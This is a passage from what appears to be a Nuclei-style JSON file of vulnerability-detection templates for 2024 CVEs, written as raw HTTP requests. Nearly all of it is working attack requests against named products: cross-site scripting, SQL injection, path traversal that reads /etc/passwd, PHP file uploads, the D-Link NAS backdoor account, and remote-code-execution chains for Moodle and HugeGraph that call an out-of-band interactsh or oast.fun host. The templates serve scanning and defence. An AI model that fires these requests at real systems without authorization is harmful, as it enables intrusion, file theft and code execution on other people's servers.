application/x-www-form-urlencoded\n\ncsrf_token={{csrf_token}}&requests-time_between_check-weeks=&requests-time_between_check-days=&requests-time_between_check-hours=3&requests-time_between_check-minutes=&requests-time_between_check-seconds=&requests-jitter_seconds=0&application-filter_failure_notification_threshold_attempts=6&application-password=&application-base_url=&application-notification_urls=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&application-notification_title=ChangeDetection.io+Notification+-+%7B%7Bwatch_url%7D%7D&application-notification_body=%7B%7Bwatch_url%7D%7D+had+a+change.%0D%0A---%0D%0A%7B%7Bdiff%7D%7D%0D%0A---%0D%0A&application-notification_format=Text&application-fetch_backend=html_requests&application-webdriver_delay=&application-ignore_whitespace=y&application-global_subtractive_selectors=&application-global_ignore_text=&application-api_access_token_enabled=y&requests-extra_proxies-0-proxy_name=&requests-extra_proxies-0-proxy_url=&requests-extra_proxies-1-proxy_name=&requests-extra_proxies-1-proxy_url=&requests-extra_proxies-2-proxy_name=&requests-extra_proxies-2-proxy_url=&requests-extra_proxies-3-proxy_name=&requests-extra_proxies-3-proxy_url=&requests-extra_proxies-4-proxy_name=&requests-extra_proxies-4-proxy_url=&save_button=Save\n"],"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","is not a valid AppRise URL"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"body","name":"csrf_token","group":1,"regex":["name=\"csrf_token\" value=\"([^\"]+)\""],"internal":true}]}]},{"id":"CVE-2024-3097","info":{"name":"NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/ngg/v1/admin/block/image/1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"success\":","\"image\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-4040","info":{"name":"CrushFTP VFS - Sandbox Escape LFR","severity":"critical"},"requests":[{"id":"unauth-exploit","raw":["GET /WebInterface/ HTTP/1.1\nHost: {{Hostname}}\n","POST /WebInterface/function/?command=zip&c2f={{auth}}&path=/etc/passwd&names=/bbb HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["root:x:"]},{"type":"word","part":"header","words":["text/xml"]}],"extractors":[{"type":"regex","name":"auth","internal":true,"part":"header_1","group":1,"regex":["currentAuth=([0-9a-zA-Z]+)"]}]},{"id":"login","raw":["GET /WebInterface/ HTTP/1.1\nHost: {{Hostname}}\n","POST /WebInterface/function/ HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 111\nOrigin: {{RootURL}}\nReferer: http://{{RootURL}}/WebInterface/login.html\n\ncommand=login&username={{username}}&password={{password}}&encoded=true&language=en&random=0.34712915617878926\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","internal":true,"words":["success"]},{"type":"word","part":"header_2","internal":true,"words":["text/xml"]}],"extractors":[{"type":"regex","name":"auth","internal":true,"part":"header_2","group":1,"regex":["currentAuth=([0-9a-zA-Z]+)"]}]},{"id":"auth-exploit","raw":["POST /WebInterface/function/?command=zip&c2f={{auth}}&path=/etc/passwd&names=/bbb HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["root:x:"]}]}]},{"id":"CVE-2024-7188","info":{"name":"Bylancer Quicklancer 2.4 G - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout 30s\nGET /listing?cat=6&filter=1&job-type=1&keywords=Mr.&location=1&order=desc&placeid=US&placetype=country&range1=1&range2=1)%20AND%20(SELECT%201864%20FROM%20(SELECT(SLEEP(6)))gOGh)%20AND%20(6900=6900&salary-type=1&sort=id&subcat HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type,\"text/html\")","contains_all(body,\"og:site_name\",\"og:locale\",\"range2\")"],"condition":"and"}]}]},{"id":"CVE-2024-23167","info":{"name":"GestSup - Cross-Site Scripting","severity":"high"},"requests":[{"raw":["POST /ajax/calendar.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\n\naction=add_event&title=&start={{formatted_date}} 07:30:00&end={{formatted_date}} 23:00:00&allday=false&technician=1\n"],"matchers":[{"type":"word","part":"response","words":["{\"event_id\":\"","text/html"],"condition":"and","internal":true}]},{"raw":["POST /index.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin={{username}}&pass={{password}}&submit=submit\n","GET /index.php?page=calendar HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["view=activity","?page=calendar",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2024-9014","info":{"name":"pgAdmin 4 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /login?next=/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","negative":true,"regex":["OAUTH2_CLIENT_SECRET\": null"]},{"type":"word","part":"body","words":["pgAdmin 4","OAUTH2_CLIENT_SECRET"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-3273","info":{"name":"D-Link Network Attached Storage - Command Injection and Backdoor Account","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system={{base64(cmd)}}"],"matchers-condition":"and","matchers":[{"type":"word","words":["1"]},{"type":"regex","part":"body","regex":["uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-0352","info":{"name":"Likeshop < 2.5.7.20210311 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /api/file/formimage HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36\n\n------WebKitFormBoundarygcflwtei\nContent-Disposition: form-data; name=\"file\";filename=\"{{filename}}.php\"\nContent-Type: application/x-php\n\n{{randstr}}\n------WebKitFormBoundarygcflwtei--\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"\\\"name\\\":\\\"{{filename}}.php\\\"\")","contains_all(body, \"code\\\":1\", \"base_url\\\":\\\"uploads\\\\/user\")"],"condition":"and"}],"extractors":[{"type":"json","part":"body","json":[".data.url"]}]}]},{"id":"CVE-2024-6911","info":{"name":"PerkinElmer ProcessPlus <= 1.11.6507.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /ProcessPlus HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"Process Plus - Perten Instruments\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /ProcessPlus/Log/Download/?filename=..\\..\\..\\..\\..\\..\\Windows\\win.ini HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"bit app support\",\"fonts\",\"extensions\")","contains(content_type, \"text/plain\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-45507","info":{"name":"Apache OFBiz - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /webtools/control/view/StatsSinceStart HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nstatsDecoratorLocation=http%3a//oast.fun/x%3fb64_body%3d{{urlencode(urlencode(base64(xml)))}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["StatsScreens"]}]}]},{"id":"CVE-2024-40422","info":{"name":"Devika v1 - Path Traversal","severity":"critical"},"requests":[{"raw":["GET /api/data HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"models\",\"projects\",\"OPENAI\",\"OLLAMA\")","contains(content_type,\"application/json\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-3673","info":{"name":"Web Directory Free < 1.7.3 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/web-directory-free\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfrom_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-21645","info":{"name":"pyload - Log Injection","severity":"medium"},"requests":[{"raw":["POST /login?next={{RootURL}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndo=login&username={{randstr}}\\'%0a[1970-01-01 00:00:00] INJECTED {{str}} THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login\n","POST /login?next={{RootURL}}/logs HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndo=login&username={{username}}&password={{password}}&submit=Login\n"],"redirects":true,"max-redirects":1,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["1970-01-01 00:00:00INJECTED{{str}}THIS ENTRY HAS BEEN INJECTED'"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-6926","info":{"name":"Viral Signup <= 2.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/viral-signup\")"],"internal":true}]},{"raw":["@timeout 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=wow_signup_send_free&idsignup=(select*from(select(sleep(6)))a)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-39903","info":{"name":"Solara <1.35.1 - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /static/nbextensions/#/../../../../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"regex","part":"content_type","regex":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-45241","info":{"name":"CentralSquare CryWolf - Path Traversal","severity":"high"},"requests":[{"raw":["GET /GeneralDocs.aspx?rpt=../../../../Windows/win.ini HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"Powered by CryWolf\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /gdoc1.ashx HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"bit app support\",\"fonts\",\"extensions\")","contains(content_type,\"application/pdf\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-36683","info":{"name":"PrestaShop productsalert - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains_any(tolower(body), \"productsalert\", \"prestashop\")"],"condition":"and","internal":true}]},{"raw":["@timeout: 30s\nPOST /modules/productsalert/pasubmit.php?submitpa&redirect_to=https://{{Hostname}}&type=2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncid=0&idl=6&option=2&pa_option=96119&paemail=1' AND (SELECT 2692 FROM (SELECT(SLEEP(5)))IuFA) AND 'pAlk'='pAlk&pasubmit=Crea%20un%20nuovo%20messaggio%20di%20notifica&pid=13158\n","@timeout: 30s\nPOST /module/productsalert/AjaxProcess HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncid=0&idl=6&option=2&pa_option=96119&paemail=1' AND (SELECT 2692 FROM (SELECT(SLEEP(5)))IuFA) AND 'pAlk'='pAlk&pid=13158\n"],"stop-at-first-match":true,"host-redirects":true,"matchers":[{"type":"dsl","name":"time-based","dsl":["duration_1>=5","duration_2>=5"]}]}]},{"id":"CVE-2024-2340","info":{"name":"Avada < 7.11.7 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/uploads/fusion-forms/"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["Index of [\\s\\S]*title>","fusion"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-41955","info":{"name":"Open Redirect in Login Redirect - MobSF","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /login/?next=//interact.sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n"],"host-redirects":true,"matchers":[{"type":"regex","part":"header_2","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2024-34982","info":{"name":"LyLme-Spage - Arbitary File Upload","severity":"high"},"requests":[{"raw":["POST /include/file.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------575673989461736\n\n-----------------------------575673989461736\nContent-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.php\"\nContent-Type: image/png\n\n<?php echo \"{{string}}\";unlink(__FILE__);?>\n-----------------------------575673989461736--\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"code\":","\"msg\":","\"url\":","php\"}"],"condition":"and","internal":true}],"extractors":[{"type":"regex","name":"path","part":"body","group":1,"regex":["\"url\":\"([/a-z_0-9.]+)\""],"internal":true}]},{"raw":["GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"{{string}}\" )","contains(header, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2024-36837","info":{"name":"CRMEB v.5.2.2 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5({{num}})))),0x7e),3550)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}","SQLSTATE"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-24131","info":{"name":"SuperWebMailer 9.31.0.01799 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/api.php/<script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","SuperWebMailerAPI"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-0713","info":{"name":"Monitorr Services Configuration - Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /assets/php/upload.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryaquxwjsn\n\n------WebKitFormBoundaryaquxwjsn\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"{{file}}.php\"\nContent-Type: image/jpeg\n\n{{base64_decode('/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooA//2Tw/cGhwIGVjaG8gJ3h4eHh4eGF0ZmVyc290Zyc7Pz4=')}}\n------WebKitFormBoundaryaquxwjsn--\n"],"matchers":[{"type":"word","part":"body","internal":true,"words":["has been uploaded to:"]}]},{"raw":["GET /assets/data/usrimg/{{file}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["atfersotg"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-6028","info":{"name":"Quiz Maker <= 6.5.8.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 25s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,6,0)]=&action=ays_finish_quiz\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains_all(body,\"status\\\":\",\"scoreMessage\",\"displayScore\")"],"condition":"and"}]}]},{"id":"CVE-2024-43425","info":{"name":"Moodle - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nanchor=&logintoken={{token}}&username={{username}}&password={{password}}\n"],"host-redirects":true,"extractors":[{"type":"regex","part":"body","name":"token","group":1,"regex":["name=\"logintoken\" value=\"([a-zA-Z0-9]+)\">"],"internal":true}]},{"raw":["GET /my/courses.php HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"sesskey","part":"body","internal":true,"group":1,"regex":["\"sesskey\":\"([^\"]+)\""]}]},{"raw":["POST /lib/ajax/service.php?sesskey={{sesskey}}&info=core_course_get_enrolled_courses_by_timeline_classification HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n[{\"index\":0,\"methodname\":\"core_course_get_enrolled_courses_by_timeline_classification\",\"args\":{\"offset\":0,\"limit\":0,\"classification\":\"all\",\"sort\":\"fullname\",\"customfieldname\":\"\",\"customfieldvalue\":\"\",\"requiredfields\":[\"id\",\"fullname\",\"shortname\",\"showcoursecategory\",\"showshortname\",\"visible\",\"enddate\"]}}]\n"],"extractors":[{"type":"json","part":"body","name":"courseid","json":[".[].data.courses[0].id"],"internal":true}]},{"raw":["POST /question/bank/editquestion/question.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ninitialcategory=1&reload=1&shuffleanswers=1&answernumbering=abc&mform_isexpanded_id_answerhdr=1&noanswers=1&nounits=1&numhints=2&synchronize=&wizard=datasetdefinitions&id=&inpopup=0&cmid=&courseid={{courseid}}&returnurl=%2Fquestion%2Fedit.php%3Fcourseid%3D2%26deleteall%3D1&mdlscrollto=0&appendqnumstring=&qtype=calculated&makecopy=0&sesskey={{sesskey}}&_qf__qtype_calculated_edit_form=1&mform_isexpanded_id_generalheader=1&mform_isexpanded_id_unithandling=1&mform_isexpanded_id_unithdr=1&mform_isexpanded_id_multitriesheader=1&mform_isexpanded_id_tagsheader=1&category=2%2C11&name=aaaaaaa&questiontext%5Btext%5D=%3Cp%3Edsaszzzzzzzzda%3C%2Fp%3E&questiontext%5Bformat%5D=1&questiontext%5Bitemid%5D=471779994&status=ready&defaultmark=1&generalfeedback%5Btext%5D=&generalfeedback%5Bformat%5D=1&generalfeedback%5Bitemid%5D=318048148&idnumber=&answer%5B0%5D=%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D&fraction%5B0%5D=1.0&tolerance%5B0%5D=0.01&tolerancetype%5B0%5D=1&correctanswerlength%5B0%5D=2&correctanswerformat%5B0%5D=1&feedback%5B0%5D%5Btext%5D=&feedback%5B0%5D%5Bformat%5D=1&feedback%5B0%5D%5Bitemid%5D=238751667&unitrole=3&penalty=0.3333333&hint%5B0%5D%5Btext%5D=%3Cp%3Eas%3C%2Fp%3E&hint%5B0%5D%5Bformat%5D=1&hint%5B0%5D%5Bitemid%5D=653998899&hint%5B1%5D%5Btext%5D=&hint%5B1%5D%5Bformat%5D=1&hint%5B1%5D%5Bitemid%5D=161289221&tags=_qf__force_multiselect_submission&submitbutton=Save+changes\n"],"extractors":[{"type":"regex","part":"header","name":"id","group":1,"internal":true,"regex":["&id=([0-9]+)&"]}]},{"raw":["POST /question/bank/editquestion/question.php?wizardnow=datasetdefinitions HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid={{id}}&inpopup=0&cmid=&courseid={{courseid}}&returnurl=%2Fquestion%2Fedit.php%3Fcourseid%3D2%26deleteall%3D1&mdlscrollto=0&appendqnumstring=&category=2%2C11&wizard=datasetitems&sesskey={{sesskey}}&_qf__question_dataset_dependent_definitions_form=1&dataset%5B0%5D=0&synchronize=0&submitbutton=Next+page\n"],"extractors":[{"type":"regex","part":"header","name":"rceurl","group":1,"internal":true,"regex":["Location: https?://.*?/question/(.*)&returnurl"]}]},{"raw":["GET /question/{{rceurl}}&a=curl%20{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-4956","info":{"name":"Sonatype Nexus Repository Manager 3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"],"matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","contains(header, \"application/octet-stream\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-6746","info":{"name":"EasySpider 0.6.2 - Arbitrary File Read","severity":"medium"},"requests":[{"raw":["GET /taskGrid/tasklist.html HTTP/1.1\nHost: {{Hostname}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"Task List\",\"Task ID\",\"Task Name\",\"URL\",\"<title>\u4efb\u52a1\u5217\u8868 | Task List\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /../../../../../../../../../Windows/win.ini HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"bit app support\",\"fonts\",\"extensions\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-48914","info":{"name":"Vendure - Arbitrary File Read","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/assets/../package.json"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"name\", \"version\", \"main\" ,\"license\")","contains(content_type, \"application/octet-stream\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-27348","info":{"name":"Apache HugeGraph-Server - Remote Command Execution","severity":"high"},"requests":[{"raw":["POST /gremlin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"gremlin\": \"Thread thread = Thread.currentThread();Class clz = Class.forName(\\\"java.lang.Thread\\\");java.lang.reflect.Field field = clz.getDeclaredField(\\\"name\\\");field.setAccessible(true);field.set(thread, \\\"SL7\\\");Class processBuilderClass = Class.forName(\\\"java.lang.ProcessBuilder\\\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\\\"ping\\\", \\\"{{interactsh-url}}\\\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\\\"start\\\");startMethod.invoke(processBuilderInstance);\", \"bindings\": {}, \"language\": \"gremlin-groovy\", \"aliases\": {}}\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(header, \"application/json\")","contains(body, \"inputStream\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2024-7714","info":{"name":"AI Assistant with ChatGPT by AYS <= 2.0.9 - Unauthenticated AJAX Calls","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?ays_chatgpt_assistant_id=1&action=ays_chatgpt_admin_ajax&function=ays_chatgpt_disconnect"],"matchers":[{"type":"dsl","dsl":["regex(\"^true$\", body)","contains(content_type, \"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-34102","info":{"name":"Adobe Commerce & Magento - CosmicSting","severity":"critical"},"requests":[{"raw":["POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"address\":{\"totalsCollector\":{\"collectorList\":{\"totalCollector\":{\"sourceData\":{\"data\":\"http://{{interactsh-url}}/xxe.xml\",\"dataIsURL\":true,\"options\":12345678}}}}}}\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(content_type, \"application/json\")","contains_any(body, \"log file\", \"cartId\", \"no Route\")","contains(body, \"message\")"],"condition":"and"}]}]},{"id":"CVE-2024-3822","info":{"name":"Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4="],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains(body, \"

    \")"],"condition":"and"}]}]},{"id":"CVE-2024-21644","info":{"name":"pyLoad Flask Config - Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/render/info.html"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'SECRET_KEY':","'pyload_session'"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5765","info":{"name":"WpStickyBar <= 2.1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(body, \"/plugins/wpstickybar-sticky-bar-sticky-header\")"],"internal":true}]},{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stickybar_display&banner_id=1%20AND%20SLEEP(6);\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2024-38289","info":{"name":"TurboMeeting - Boolean-based SQL Injection","severity":"critical"},"requests":[{"raw":["POST /as/wapi/vmp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmeeting_id=1'/**/OR/**/1=1/**/UNION/**/select/**/password/**/from/**/employee/**/where/**/email='admin'/**/AND/**/substr(password,2,1)='b'/**\n","POST /as/wapi/vmp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmeeting_id=1'/**/OR/**/1=2/**/UNION/**/select/**/password/**/from/**/employee/**/where/**/email='admin'/**/AND/**/substr(password,2,1)='b'/**\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["<__Status__>SUCCEED"]},{"type":"word","part":"body_2","words":["<__Status__>FAILED"]}]}]},{"id":"CVE-2024-37152","info":{"name":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium"},"requests":[{"raw":["GET /api/v1/settings HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"passwordPattern\":","\"appLabelKey\":"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-1209","info":{"name":"LearnDash LMS < 4.10.2 - Sensitive Information Exposure via 